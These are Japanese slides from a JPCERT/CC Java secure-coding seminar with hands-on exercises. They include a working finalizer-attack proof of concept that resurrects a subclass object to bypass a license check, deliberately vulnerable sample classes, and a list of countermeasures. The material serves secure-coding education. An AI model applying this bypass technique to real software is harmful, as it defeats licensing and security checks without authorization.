Javaセキュアコーディングセミナー東京
第4回
メソッドとセキュリティ
演習

2012年12月16日(日)
JPCERTコーディネーションセンター
脆弱性解析チーム
熊谷 裕志
戸田 洋三

Hands-on Exercise

- finalizer 攻撃を阻止しよう
- 他のクラスから、htに入っているキー「1」のエントリを消せるか？

Hands-on Exercise(1)

finalizer 攻撃を阻止しよう

サンプルアプリケーション(1/2)

```
public class LicenseManager {
  public LicenseManager() {
    if (!licenseValidation()) {
      throw new SecurityException("License Invalid!");
    }
  }
  private boolean licenseValidation() {
    // ライセンスファイルをリードしてチェックし、ライセンスが正当ならtrueを返す
    return false;
  }
}

public class SecuritySystem {
  private static LicenseManager licenseManager = null;
  public static void register(LicenseManager lm) {
    // licenseManagerが初期化されていない場合のみ登録
    if (licenseManager == null) {
      if (lm == null) {
        System.out.println("License Manager invalid!");
        System.exit(1);
      }
      licenseManager = lm;
    }
  }
}
```

Heinz M. Kabutz. *Exceptional Constructors - Ressurecting the dead.* Java Specialists' Newsletter. 2001

サンプルアプリケーション(2/2)

```
public class Application {
  public static void main(String[] args) {
    LicenseManager lm;
    try {
      lm = new LicenseManager();
    } catch(SecurityException ex) { lm = null; }

    SecuritySystem.register(lm);
    System.out.println("Now let's get things started");
  }
}
```

```
% ls *.java
Application.java    LicenseManager.java    SecuritySystem.java
% javac *.java
% java Application
License Manager invalid!
%
```

ファイナライザー攻撃を行うコード(1/2)

攻撃コード

```
public class LicenseManagerInterceptor extends LicenseManager {
  private static LicenseManagerInterceptor instance = null;
  public static LicenseManagerInterceptor make() {
    try {
      new LicenseManagerInterceptor();
    } catch(Exception ex) {} // 例外を無視
    try {
      synchronized(LicenseManagerInterceptor.class) {
        while (instance == null) {
          System.gc();
          LicenseManagerInterceptor.class.wait(100);
        }
      }
    } catch(InterruptedException ex) {
      return null;
    }
    return instance;
  }
  public void finalize() {
    System.out.println("In finalize of " + this);
    synchronized(LicenseManagerInterceptor.class) {
      instance = this;
      LicenseManagerInterceptor.class.notify();
    }
  }
  public LicenseManagerInterceptor() {
    System.out.println("Created LicenseManagerInterceptor");
  }
}
```

ファイナライザー攻撃を行うコード(2/2)

攻撃コード

```
public class AttackerApp {
  public static void main(String[] args) {
    LicenseManagerInterceptor lm = LicenseManagerInterceptor.make();
    SecuritySystem.register(lm);
    // now we call the other application
    Application.main(args);
  }
}
```

```
% ls
Application.class    LicenseManager.class    SecuritySystem.class
AttackerApp.java   LicenseManagerInterceptor.java
% javac *.java
% java AttakerApp
In finalize of LicenseManagerInterceptor@7dcb3cd
Now let's get things started
%
```

ファイナライザ攻撃対策

- **finalize()**メソッドを上書きされないように定義
- 重要なインスタンスは、初期化の完了を必ず確認
- サブクラス化による悪用を防ぐために、クラスを**final**宣言する

サンプルコードを
修正してみよう!

Hands-on Exercise(2)

他のクラスから、htに入っているキー「1」のエントリを消せるか？

Hands-on Exercise(2)
他のクラスから、htに入っているキー「1」のエントリを消せるか？

```
import java.util.Hashtable;
import java.security.AccessController;
import java.security.SecurityPermission;

public final class SensitiveHash {
  private Hashtable<Integer,String> ht = new Hashtable<Integer,String>();

  SensitiveHash() {
    ht.put(1, "one");
    ht.put(2, "two");
    ht.put(3, "three");
  }

  void removeEntry(Object key) {
    check("removeKeyPermission");
    ht.remove(key);
  }

  public void showEntries() {
    System.out.println("" + ht.get(1));
    System.out.println("" + ht.get(2));
    System.out.println("" + ht.get(3));
  }

  private void check(String directive) {
    SecurityPermission sp = new SecurityPermission(directive);
    AccessController.checkPermission(sp);
  }
}
```

例えば

```
SensitiveHash sh = new SensitiveHash();
sh.removeEntry(1);
sh.showEntries();
```

セキュリティチェックされているため
エントリーを消すことはできない